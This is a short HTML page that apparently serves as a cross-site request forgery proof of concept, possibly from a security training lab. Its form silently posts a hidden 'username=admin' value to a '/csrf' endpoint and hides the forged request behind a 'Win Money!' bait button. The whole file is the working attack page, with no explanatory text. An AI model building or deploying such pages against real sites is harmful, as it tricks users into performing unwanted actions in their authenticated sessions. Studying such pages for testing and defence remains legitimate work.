<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form action="/csrf" method="post" enctype="text/plain">
    <input name='username'
           value='admin' type='hidden'>
    <input type="submit"
           value="Win Money!"/>
</form>
</body>
</html>
